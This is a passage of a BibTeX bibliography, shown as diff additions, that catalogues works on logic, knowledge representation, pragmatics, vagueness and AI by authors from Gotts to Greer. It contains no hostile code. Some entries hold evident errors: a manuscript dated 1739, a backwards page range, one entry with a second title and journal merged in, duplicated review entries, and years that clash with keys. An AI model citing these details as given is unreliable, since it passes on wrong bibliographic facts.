{246--257}, + address = {San Francisco, California}, + contentnote = {"C" is a connection relation}, + missinginfo = {A's 1st name}, + topic = {kr;kr-course;spatial-representation;} + } + +@techreport{ gotts:1996a, + author = {N.M. Gotts}, + title = {Topology from a Single Primitive Relation: Defining + Topological Properties and Relations in Terms of Connection}, + institution = {School of Computer Studies, University of Leeds}, + number = {96.24}, + year = {1996}, + address = {Leeds}, + missinginfo = {A's 1st name}, + topic = {spatial-representation;} + } + +@inproceedings{ gotz-meurers:1997a, + author = {Thilo G\"otz ant Detmar Meurers}, + title = {Interleaving Universal Principles and Relational + Constraints over Typed Feature Logic}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the + {A}ssociation for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {1--8}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {feature-structure-logic;typed-feature-structure-logic;} + } + +@book{ goubertlarrecq:1997a, + author = {Goubert-larrecq}, + title = {Proof Theory and Automated Deduction}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + contentnote = {This is an introductory textbook.}, + topic = {proof-theory;theorem-proving;} + } + +@article{ gouda:1985a, + author = {M. Gouda}, + title = {A Simple Protocol Whose Proof Isn't}, + journal = {{IEEE} Transactions on Communications}, + year = {1985}, + volume = {COM-33}, + number = {4}, + pages = {382--384}, + missinginfo = {A's 1st name, number}, + topic = {communication-protocols;} + } + +@incollection{ gough:1971a, + author = {Philip B. Gough}, + title = {Experimental Psycholinguistics}, + booktitle = {A Survey of Linguistic Science}, + publisher = {Privately Published, Linguistics Program, University of + Maryland.}, + year = {1971}, + editor = {William Orr Dingwall}, + pages = {251--296}, + address = {College Park, Maryland}, + topic = {psycholinguistics;} + } + +@article{ govier:1982a, + author = {Trudy Govier}, + title = {What's Wrong With Slippery Slope Arguments?}, + journal = {Canadian Journal of Philosophy}, + year = {1982}, + pages = {303--316}, + missinginfo = {number.}, topic = {vagueness;} + } + +@book{ gowans:1987a, + editor = {Christopher Gowans}, + title = {Moral Dilemmas}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1987}, + topic = {moral-conflict;} + } + +@inproceedings{ goyal-shoham_y1:1993a, + author = {Nita Goyal and Yoav Shoham}, + title = {Reasoning Precisely with Vague Concepts}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + pages = {698--703}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {vagueness;} + } + +@incollection{ graber-etal:1995a, + author = {Andrea Gr\"aber and Hans-J\"urgen B\"urkert and Armin Laux}, + title = {Terminological Reasoning with Knowledge and Belief}, + booktitle = {Knowledge and Belief in Philosophy and Artificial + Intelligence}, + publisher = {Akedemie Verlag}, + year = {1995}, + editor = {Armin Laux and Heinrich Wansing}, + pages = {29--64}, + address = {Berlin}, + topic = {epistemic-logic;reasoning-about-knowledge;taxonomic-logics; + kr-course;} + } + +@incollection{ grabski:1981a, + author = {Michael Grabski}, + title = {Quotations as Indexicals and Demonstratives}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {151--167}, + address = {Berlin}, + topic = {direct-discourse;nl-semantics;} + } + +@unpublished{ grabski:1995a, + author = {Michael Grabski}, + title = {Some Operators Cancelling Hyperintensionality}, + year = {1995}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {hyperintensionality;} + } + +@article{ graedel:1997a, + author = {Erich Gr\"adel}, + title = {On the Decision Problem for Two-Variable First-Order Logic}, + journal = {Bulletin of Symbolic Logic}, + year = {1997}, + volume = {3}, + number = {1}, + pages = {53--69}, + topic = {complexity-theory;subtheories-of-FOL;} + } + +@article{ graesser:1996a, + author = {Arthur C. Graesser}, + title = {Review of {\it Time-Constrained Memory: A Reader-Based + Approach to Text Comprehension}, by {J}ean-{P}ierre {C}orriveau}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {2}, + pages = {265--266}, + xref = {Review of corriveau:1995a.}, + topic = {text-comprehension;memory;memory-models;language-and-cognition;} + } + +@incollection{ graf-fehrer:1998a, + author = {P. Graf and D. Fehrer}, + title = {Term Indexing}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@phdthesis{ graff:1997a, + author = {Delia Graff}, + title = {The Phenomena of Vagueness}, + school = {Massachusetts Institute of Technology}, + year = {1997}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, Massachusetts}, + topic = {vagueness;} + } + +@unpublished{ graff:1999a, + author = {Delia Graff}, + title = {Phenomenal Continua and the Sorites}, + year = {1999}, + note = {Unpublished manuscript, Princeton University.}, + topic = {vagueness;sorites-paradox;} + } + +@unpublished{ graff:2000a, + author = {Delia Graff}, + title = {Shifting Sands: An Interest-Relative Theory of + Vagueness}, + year = {2000}, + note = {Unpublished manuscript, Princeton University.}, + topic = {vagueness;sorites-paradox;} + } + +@book{ graham_g:1999a, + author = {Gordon Graham}, + title = {Philosophy and the Internet}, + publisher = {Routledge}, + year = {1999}, + address = {London}, + ISBN = {0 415 19748 1 (Hb), 0 415 19749 X (Pb), } , + topic = {philosophy-of-technology;philosophy-of-computing;} + } + +@article{ graham_p:2000a, + author = {Peter Graham}, + title = {Transferring Knowledge}, + journal = {No\^us}, + year = {2000}, + volume = {34}, + number = {3}, + pages = {131--152}, + topic = {speech-acts;philosophy-of-language;} + } + +@unpublished{ graham_sl-etal:1976a, + author = {Susan L. Graham and Michael A. Harrison and Walter L. + Ruzzo}, + title = {On Line Context Free Recognition in Less Than Cubic Time}, + year = {1976}, + note = {Manuscript, University of California at Berkeley.}, + topic = {algorithmic-complexity;parsing-algorithms;context-free-grammars; + formal-language-theory;} + } + +@incollection{ grahne:1991a, + author = {G\"osta Grahne}, + title = {Updates and Counterfactuals}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {269--276}, + address = {San Mateo, California}, + topic = {kr;belief-revision;conditionals;kr-course;} + } + +@incollection{ grahne-etal:1992a, + author = {G\"osta Grahne and Alberto O. Mendelzon and Raymond Reiter}, + title = {On the Semantics of Belief Revision Systems}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {132--142}, + address = {San Francisco}, + topic = {belief-revision;} + } + +@article{ grahne-mendelzon:1994a, + author = {G\"osta Grahne and Alberto Mendelzon}, + title = {Updates and Subjunctive Queries}, + journal = {Information and Computation}, + year = {1994}, + volume = {116}, + number = {2}, + pages = {241--252}, + topic = {belief-revision;conditionals;} + } + +@article{ grahne:1998a, + author = {G\"osta Grahne}, + title = {Update and Counterfactuals}, + journal = {Journal of Logic and Computation}, + year = {1998}, + volume = {8}, + number = {1}, + pages = {87--117}, + topic = {conditionals;belief-revision;} + } + +@article{ grandy_re:1972a, + author = {Richard E. Grandy}, + title = {A Definition of Truth for Theories with Intensional + Definite Description Operators}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {2}, + pages = {137--155}, + topic = {intensionality;truth-definitions;definite-descriptions;} + } + +@article{ grandy_re:1973a, + author = {Richard E. Grandy}, + title = {Reference, Meaning, and Belief}, + journal = {The Journal of Philosophy}, + year = {1973}, + volume = {70}, + number = {14}, + pages = {439--452}, + topic = {reference;semantics-of-proper-names;} + } + +@article{ grandy_re:1974a, + author = {Richard E. Grandy}, + title = {Some Remarks on Logical Form}, + journal = {No\^us}, + year = {1974}, + volume = {8}, + pages = {157--164}, + topic = {logical-form;} + } + +@article{ grandy_re:1977a, + author = {Richard E. Grandy}, + title = {Review of {\it Convention: A Philosophical Study}, by + {D}avid {L}ewis}, + journal = {The Journal of Philosophy}, + year = {1977}, + volume = {94}, + number = {2}, + pages = {129--139}, + xref = {Review of lewis_dk:1969a.}, + topic = {convention;mutual-beliefs; + game-theoretic-coordination;pragmatics;} + } + +@book{ grandy_re:1977b, + author = {Richard E. Grandy}, + title = {Advanced Logic for Applications}, + publisher = {D. Reidel Publishing Co.}, + year = {1977}, + address = {Dordrecht}, + xref = {Review: kroon:1980a.}, + topic = {logic-intro;} + } + +@article{ grandy_re:1982a, + author = {Richard E. Grandy}, + title = {Semantic Intuitions and Linguistic Structure}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1982}, + volume = {23}, + number = {3}, + pages = {333--332}, + topic = {foundations-of-semantics;} + } + +@incollection{ grandy_re:1986a, + author = {Richard E. Grandy}, + title = {Some Misconceptions about Belief}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {317--331}, + address = {Oxford}, + topic = {belief;} + } + +@incollection{ grandy_re-warner:1986b, + author = {Richard E. Grandy and Richard Warner}, + title = {Paul Grice: A View of his Work}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {1--44}, + address = {Oxford}, + topic = {philosophy-of-language;implicature;speaker-meaning; + Grice;pragmatics;} + } + +@book{ grandy_re-warner_r:1986a, + editor = {Richard E. Grandy and Richard Warner}, + title = {Philosophical Grounds of Rationality: Intentions, Categories, + Ends}, + publisher = {Oxford University Press}, + year = {1986}, + address = {Oxford}, + contentnote = {TC: + 1. Richard E. Grandy and Richard Warner, "Paul Grice: + A View of his Work" + 2. Grice, "Reply to Richards" + 3. Patrick Suppes, "The Primacy of Utterer's Meaning" + 4. Andreas Kemmerling, "Utterer's Meaning Revisited" + 5. Donald Davidson, "A Nice Derangement of Epitaphs" + 6. Stephen Schiffer, "Compositional Semantics and + Language Understanding" + 7. John Searle, "Meaning, Communication, and Representation" + 8. Peter F. Strawson, "`If' and `$\supset$'" + 9. Deirdre Wilson and Dan Sperber, "On Defining Relevance" + 10. Jaakko Hintikka, "Logic of Convesation as a Logic of Dialogue" + 11. Gordon Baker, Alternative Mind-Styles + 12. Richard E. Grandy, "Some Misconceptions about Belief" + 13. John Perry, "Perception, Action, and the Structure of Believing" + 14. Gilbert Harman, "Willing and Intending" + 15. George Myro, "Identity and Time" + 16. Alan Code, "Aristotle: Essence and Accident" + 17. Nancy Cartwright, "Fitting Facts to Equations" + 18. Judith Baker, "Do One's Motives have to be Pure?" + 19. Richard Warner, "Grice on Happiness" + }, + topic = {philosophy-of-language;implicature;speaker-meaning;Grice; + philosophy-of-mind;pragmatics;} + } + +@incollection{ grandy_re:1987a, + author = {Richard E. Grandy}, + title = {In Defense of Semantic Fields}, + booktitle = {New Directions in Semantics, Volume 2}, + publisher = {Academic Press}, + year = {1987}, + editor = {Ernest LePore}, + pages = {259--280}, + address = {London}, + topic = {nl-semantics;semantic-fields;} + } + +@incollection{ granger_s:1997a, + author = {Sylviane Granger}, + title = {The Computer Learner Corpus: A Testbed for + Electronic {EFL} Tools}, + booktitle = {Linguistic Databases}, + publisher = {{CSLI} Publications}, + year = {1997}, + editor = {John Nerbonne}, + pages = {175--188}, + address = {Stanford, California}, + topic = {corpus-linguistics;second-language-instruction;} + } + +@book{ granger_s:1998a, + editor = {Sylvaine Granger}, + title = {Learner {E}nglish on Computer}, + publisher = {Addison Wesley Longman}, + year = {1998}, + address = {London}, + xref = {Review: lessard:1999a.}, + topic = {corpus-linguistics;L2-language-learning;} + } + +@article{ grant:1980a, + author = {B. Grant}, + title = {Knowledge, Luck and Charity}, + journal = {Mind}, + year = {1980}, + volume = {89}, + pages = {161--181}, + missinginfo = {A's 1st name, number}, + topic = {knowledge;} + } + +@inproceedings{ grashoff:1995a, + author = {Henning Grashoff}, + title = {Rationality and Information Agents}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Rational Agency: Concepts, Theories, Models, and Applications}, + year = {1995}, + editor = {Michael Fehling}, + pages = {75--79}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {knowledge-integration;} + } + +@incollection{ grasso:2002a, + author = {Floriana Grasso}, + title = {Towards a Framework for Rhetorical Argumentation}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {53--60}, + address = {Edinburgh}, + topic = {argumentation;rhetoric;} + } + +@article{ gratch-dejong:1996a, + author = {Jonathan Gratch and Gerald DeJong}, + title = {A Statistical Approach to Adaptive Problem Solving}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {88}, + number = {1--2}, + pages = {101--142}, + acontentnote = {Abstract: + Domain independent general purpose problem solving techniques + are desirable from the standpoints of software engineering and + human computer interaction. They employ declarative and modular + knowledge representations and present a constant homogeneous + interface to the user, untainted by the peculiarities of the + specific domain of interest. Unfortunately, this very insulation + from domain details often precludes effective problem solving + behavior. General approaches have proven successful in complex + real-world situations only after a tedious cycle of manual + experimentation and modification. Machine learning offers the + prospect of automating this adaptation cycle, reducing the + burden of domain specific tuning and reconciling the conflicting + needs of generality and efficacy. A principal impediment to + adaptive techniques is the utility problem: even if the acquired + information is accurate and is helpful in isolated cases, it may + degrade overall problem solving performance under difficult to + predict circumstances. We develop a formal characterization of + the utility problem and introduce COMPOSER, a statistically + rigorous learning approach which avoids the utility problem. + COMPOSER has been successfully applied to learning heuristics + for planning and scheduling systems. This article includes + theoretical results and an extensive empirical evaluation. The + approach is shown to outperform significantly several other + leading approaches to the utility problem. + } , + topic = {machine-learning;planning;utility-of-learned-information;} + } + +@article{ graves_c-etal:1973a, + author = {Christina Graves and Jerrold J. Katz and Yuji Nishiyama + and Scott Soames and Robert Stecker and Peter Tovey}, + title = {Tacit Knowledge}, + journal = {The Journal of Philosophy}, + year = {1973}, + volume = {70}, + number = {11}, + pages = {318--330}, + topic = {philosophy-of-linguistics;} + } + +@article{ graves_pr:1997a, + author = {P.R. Graves}, + title = {Reference and Imperfective Paradox}, + journal = {Philosophical Studies}, + year = {1997}, + volume = {88}, + pages = {81--101}, + missinginfo = {A's 1st name, number}, + topic = {tense-aspect;imperfective-paradox;} + } + +@book{ gray_b:1977a, + author = {Bennison Gray}, + title = {The Grammatical Foundations of Rhetoric: Discourse Analysis}, + publisher = {Mouton}, + year = {1977}, + address = {The Hague}, + topic = {discourse-analysis;} +} + +@article{ gray_nab:1984a, + author = {Neil A.B. Gray}, + title = {Applications of Artificial Intelligence for Organic + Chemistry: Analysis of {C-13} Spectra}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {22}, + number = {1}, + pages = {1--21}, + topic = {computer-assisted-science;} + } + +@book{ grayling:1997a, + author = {A.C. Grayling}, + title = {An Introduction to Philosophical Logic}, + publisher = {Blackwell Publishers}, + year = {1997}, + address = {Oxford}, + topic = {philosophical-logic;} + } + +@book{ grayling:1999a, + author = {A.C. Grayling}, + title = {An Introduction to Philosophical Logic}, + publisher = {Blackwell Publishers}, + year = {1998}, + address = {Oxford}, + ISBN = {0-631-20655-8 (pbk)}, + xref = {Review: kroon:1999a.}, + topic = {philosophical-logic;} + } + +@book{ greco:2000a, + author = {John Greco}, + title = {Putting Skeptics in Their Place: The Nature + of Skeptical Arguments and Their Role in Philosophical + Inquiry}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + xref = {Review: warfield:2001a.}, + topic = {skepticism;} + } + +@inproceedings{ green_cc:1969a1, + author = {C. Cordell Green}, + title = {Application of Theorem Proving to Problem + Solving}, + booktitle = {Proceedings of the First International Joint + Conference on Artificial Intelligence}, + year = {1969}, + editor = {Donald E. Walker and Lewis M. Morton}, + pages = {219--239}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Bedford, Massachusetts}, + xref = {Republication: green_cc:1969a2.}, + topic = {planning;foundations-of-planning;theorem-proving;} + } + +@incollection{ green_cc:1969a2, + author = {C. Cordell Green}, + title = {Application of Theorem Proving to Problem + Solving}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {202--222}, + address = {Los Altos, California}, + xref = {Journal Publication: green_cc:1969a1.}, + topic = {planning;foundations-of-planning;theorem-proving;} + } + +@article{ green_cc-barstow:1978a, + author = {C. Cordell Green and David Barstow}, + title = {On Program Synthesis Knowledge}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {10}, + number = {3}, + pages = {241--279}, + topic = {program-synthesis;} + } + +@unpublished{ green_gm:1973a, + author = {Georgia Green}, + title = {How to Get People to Do Things with Words: The + Question of Whimperatives}, + year = {1739}, + note = {Unpublished manuscript, Linguistics Department, University + of Illinois}, + missinginfo = {Year is a guess.}, + topic = {indirect-speech-acts;} + } + +@book{ green_gm:1974a, + author = {Georgia M. Green}, + title = {Semantics and Syntactic Regularity}, + publisher = {Indiana University Press}, + year = {1974}, + address = {Bloomington, Indiana}, + topic = {nl-semantics;} + } + +@incollection{ green_gm-morgan:1981a, + author = {Georgia M. Green and Jerry L. Morgan}, + title = {Pragmatics, Grammar, and Discourse}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + pages = {167--181}, + address = {New York}, + contentnote = {This is a discussion of the nature of pragmatics and its + relation to discourse.}, + topic = {pragmatics;} + } + +@incollection{ green_gm:1982a, + author = {Georgia Green}, + title = {Linguistics and the Pragmatics of Language Use}, + booktitle = {Neurolinguistics and Cognition}, + publisher = {Academic Press}, + year = {1982}, + editor = {R. Buhr}, + address = {New York}, + missinginfo = {E's 1st name, pages, date is a guess.}, + topic = {pragmatics;} + } + +@book{ green_gm:1989a, + author = {Georgia M. Green}, + title = {Pragmatics and Natural Language Understanding}, + publisher = {Lawrence Erlbaum Associates}, + year = {1989}, + edition = {1}, + address = {Hillsdale, New Jersey}, + topic = {pragmatics-survey;} + } + +@techreport{ green_gm:1994a, + author = {Georgia M. Green}, + title = {Assessing Techniques for Analysis of Natural + Language Use}, + institution = {Beckman Institute, University of Illinois at + Urbana-Champaign}, + number = {UIUC-BI-CS-94-08}, + year = {1994}, + address = {Champaigne, Illinois}, + topic = {linguistics-methodology;pragmatics;} + } + +@book{ green_gm:1996a, + author = {Georgia M. Green}, + title = {Pragmatics and Natural Language Understanding}, + publisher = {Lawrence Erlbaum Associates}, + year = {1996}, + edition = {2}, + address = {Hillsdale, New Jersey}, + topic = {pragmatics-survey;} + } + +@incollection{ green_gm:1996b, + author = {Georgia M. Green}, + title = {Ambiguity Resolution and Discourse Interpretation}, + booktitle = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + editor = {Kees {van Deemter} and Stanley Peters}, + pages = {1--26}, + topic = {discourse;nl-interpretation;ambiguity;nl-polysemy;pragmatics;} + } + +@incollection{ green_gm:1996c, + author = {Georgia M. Green}, + title = {Ambiguity Resolution and Discourse Interpretation}, + booktitle = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + editor = {Kees {van Deemter} and Stanley Peters}, + address = {Cambridge, England}, + missinginfo = {pages}, + topic = {ambiguity;discourse;pragmatics;} + } + +@inproceedings{ green_gm:1996d, + author = {Georgia M. Green}, + title = {The structure of {CONTEXT}: The representation of + pragmatic restrictions in {HPSG}}, + booktitle = {Proceedings of the 5th annual meeting + of the {F}ormal {L}inguistics {S}ociety of the {M}idwest}, + year = {1996}, + editor = {James Yoon}, + publisher = {Studies in the Linguistic Sciences}, + missinginfo = {pages,address}, + topic = {context;pragmatics;HPSG;} + } + +@article{ green_l:2000a, + author = {Lisa Green}, + title = {Aspectual {\it be}-Type Constructions and Coercion + in {A}frican {A}merican {E}nglish}, + journal = {Natural Language Semantics}, + year = {2000}, + volume = {8}, + number = {1}, + pages = {1--225}, + topic = {generics;i-level/s-level;} + } + +@unpublished{ green_ms-hitchcock:1991a, + author = {Mitchell S. Green and Christopher Hitchcock}, + title = {Reflection on Reflection: van {F}raassen on Belief}, + year = {1991}, + note = {Unpublished MS, Department of Philosophy, University of + Pittsburgh.}, + missinginfo = {Date is a guess.}, + topic = {philosophy-of-belief;belief;} + } + +@article{ green_ms:1995a, + author = {Mitchell S. Green}, + title = {Quantity, Volubility, and some Varieties of Discourse}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {1}, + pages = {83--112}, + topic = {implicature;pragmatics;} + } + +@article{ green_ms:2000a, + author = {Mitchell S. Green}, + title = {The Status of Supposition}, + journal = {No\^us}, + year = {2000}, + volume = {34}, + number = {3}, + pages = {376--399}, + topic = {supposing;speech-acts;} + } + +@article{ green_ms:2000b, + author = {Mitchell S. Green}, + title = {Illocutionary Force and Semantic Content}, + journal = {Linguistics and Philosophy}, + year = {2000}, + volume = {23}, + number = {5}, + pages = {435--473}, + topic = {speech-acts;nl-semantics;} + } + +@article{ green_n:2001a, + author = {Nancy Green}, + title = {Review of {\it Presumptive Meanings}, by {S}teven {C}. + {L}evinson}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {3}, + pages = {462--463}, + xref = {Review of: levinson_sc:2001a.}, + topic = {implicature;} + } + +@inproceedings{ green_nl:1990a, + author = {Nancy L. Green}, + title = {Normal State Implicature}, + booktitle = {Proceedings of the Twenty-Eighth Annual Meeting of the + Association for Computational Linguistics}, + year = {1994}, + editor = {Robert C. Berwick}, + pages = {89--96}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {implicature;pragmatics;} + } + +@inproceedings{ green_nl-carberry_s:1992a, + author = {Nancy L. Green and Sandra Carberry}, + title = {Conversational Implicatures in Indirect Replies}, + booktitle = {Proceedings of the Thirtieth Annual Meeting of the + Association for Computational Linguistics}, + year = {1994}, + editor = {Henry S. Thompson}, + pages = {64--71}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {implicature;pragmatics;} + } + +@inproceedings{ green_nl-carberry_s:1994a, + author = {Nancy L. Green and Sandra Carberry}, + title = {A Hybrid Reasoning Model for Indirect Answers}, + booktitle = {Proceedings of the Thirty-Second Meeting of the + Association for Computational Linguistics}, + year = {1994}, + editor = {James Pustejovsky}, + pages = {58--65}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {nl-interpretation;nl-generation;discourse;implicature; + pragmatics;} + } + +@phdthesis{ green_nl:1995a, + author = {Nancy L. Green}, + title = {Normal State Implicature}, + school = {Department of Computer Science, University of Delaware}, + year = {1995}, + type = {Ph.{D}. Dissertation}, + address = {Newark, Delaware}, + topic = {nl-interpretation;nl-generation;discourse;implicature; + pragmatics;} + } + +@unpublished{ green_nl-lehman:1996a, + author = {Nancy L. Green and Jill Fain Lehman}, + title = {Compiling Knowledge for Dialogue Generation and + Interpretation}, + year = {1996}, + note = {Unpublished manuscript, School of Computer Science, + Carnegie Mellon University.}, + topic = {nl-soar;} + } + +@inproceedings{ green_nl-etal:1997a, + author = {Nancy L. Green and Stephen Kerpedjiev and Giuseppe Carenini + and Johanna D. Moore}, + title = {Media-Independent Communicative Actions in Integrated Text + and Graphics Generation}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {43--50}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;discourse;nl-generation;pragmatics;} + } + +@incollection{ green_nl-etal:1998a, + author = {Nancy L. Green and Giuseppe Carenini and Johanna Moore}, + title = {A Principled Representation of Attributive + Descriptions for Generating Integrated Text and + Information Graphics Presentations}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {18--27}, + address = {New Brunswick, New Jersey}, + topic = {NL-generation;multimedia-generation;graphics-generation; + referring-expressions;} + } + +@article{ green_nl-carberry_s:1999a, + author = {Nancy L. Green and Sandra Carberry}, + title = {Interpreting and Generating Indirect Answers}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {3}, + pages = {389--435}, + topic = {nl-interpretation;nl-generation;discourse;implicature; + pragmatics;} + } + +@article{ green_nl:2001a, + author = {Nancy L. Green}, + title = {Review of {\it Presumptive Meanings}, by + {S}teven {C}. {L}evinson}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {3}, + pages = {462--463}, + xref = {Review of: levinson_sc:2001a.}, + topic = {implicature;} + } + +@incollection{ green_oh:1986a, + author = {O.H. Green}, + title = {Actions, Emotions, and Desires}, + booktitle = {The Ways of Desire: New Essays in Philosophical + Psychology on the Concept of Wanting}, + publisher = {Precedent Publishing, Inc.}, + year = {1986}, + editor = {Joel Marks}, + pages = {115--131}, + address = {Chicago}, + topic = {desire;emotion;action;philosophical-psychology;} + } + +@incollection{ green_sj:1998a, + author = {Stephen J. Green}, + title = {Automatically Generating Hypertext in Newspaper Articles + by Computing Semantic Relatedness}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {101--110}, + address = {Somerset, New Jersey}, + topic = {nl-generation;semantic-similarity;content-tagging;} + } + +@book{ greenaway-etal:1991a, + editor = {David Greenaway and Michael Bleaney and Ian Stewart}, + title = {Companion to Contemporary Economic Thought}, + publisher = {Routledge}, + year = {1991}, + address = {London}, + ISBN = {0415026121}, + topic = {economics-intro;} + } + +@book{ greene:1972a, + author = {Judith Greene}, + title = {Psycholinguistics: {C}homsky and Psychology}, + publisher = {Penguin Books}, + year = {1972}, + address = {Hammondsworth}, + topic = {psycholinguistics;competence;} + } + +@article{ greene_rl:1991a, + author = {Ronald L. Greene}, + title = {Connectionist Hashed Associative Memory}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {1}, + pages = {87--98}, + topic = {memory-models;} + } + +@article{ greene_rl:1994a, + author = {Ronald L. Greene}, + title = {Efficient Retrieval from Sparse Associative Memory}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {66}, + number = {2}, + pages = {395--410}, + acontentnote = {Abstract: + Best-match retrieval of data from memory which is sparse in + feature space is a time-consuming process for sequential + machines. Previous work on this problem has shown that a + connectionist network used as a hashing function can allow + faster-than-linear probabilistic retrieval from such memory when + presented with probing feature vectors which are noisy or + partially specified. This paper introduces two simple + modifications to the basic Connectionist-Hashed Associative + Memory which together can improve the retrieval efficiency by an + order of magnitude or more. Theoretical results are presented + for storage/retrieval of memory items represented by feature + vectors made up of 1000 randomly selected bivalent components. + Experimental results on correlated feature vectors are presented + in the context of a spelling correction application. } , + topic = {memory-models;connectionist-models;} + } + +@article{ greenspan:1975a, + author = {Patricia Greenspan}, + title = {Conditional Oughts and Hypothetical Imperatives}, + journal = {Journal of Philosophy}, + year = {1975}, + volume = {72}, + pages = {259--276}, + topic = {conditional-obligation;} + } + +@article{ greenspan:1976a, + author = {Patricia Greenspan}, + title = {Wiggins on Historical Inevitability and Incompatibilism}, + journal = {Philosophical Studies}, + year = {1976}, + volume = {29}, + pages = {235--247}, + topic = {freedom;(in)determinism;} + } + +@article{ greenspan:1978a, + author = {Patricia S. Greenspan}, + title = {Oughts and Determinism: A Response to {G}oldman}, + journal = {The Philosophical Review}, + year = {1978}, + volume = {77}, + number = {1}, + pages = {77--83}, + title = {Emotions, Reasons, and `Self-Involvement'\, } , + journal = {Philosophical Studies}, + year = {1980}, + volume = {38}, + pages = {161--168}, + missinginfo = {number}, + topic = {emotion;ethics;} + } + +@book{ greenwald-etal:1968a, + editor = {Anthony G. Greenwald and Timothy C. Brock and + Thomas M. Ostrom}, + title = {Psychological Foundations of Attitudes}, + publisher = {Academic Press}, + year = {1968}, + address = {Amsterdam}, + ISBN = {0080436455 (hardcover)}, + topic = {attitudes-in-psychology;} + } + +@article{ greer:2000a, + author = {Kieran Greer}, + title = {Computer Chess Move-Ordering Schemes Using Move + Influence}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {120}, + number = {2}, + pages = {235--250}, + acontentnote = {Abstract: + The chessmaps heuristic is a pattern-oriented approach to + ordering moves for the game of chess. It uses a neural network + to learn a relation between the control of the squares and the + influence of a move. Depending on what squares a player + controls, the chessmaps heuristic tries to determine where the + important areas of the chessboard are. Moves that influence + these important areas are then ordered first. The heuristic has + been incorporated into a move-ordering algorithm that also takes + account of immediate tactical threats. Human players also rely + strongly on patterns when selecting moves, but would also + consider immediate tactical threats, so this move-ordering + algorithm is an attempt to mimic something of the human thought + process when selecting a move. This paper presents a new + definition for the influence of a move, which improves the + performance of the heuristic. It also presents a new + experience-based approach to determining what areas of the + chessboard are important, which may actually be preferred to the + chessmaps heuristic. The results from game-tree searches suggest + that the move-ordering algorithm could compete with the current + 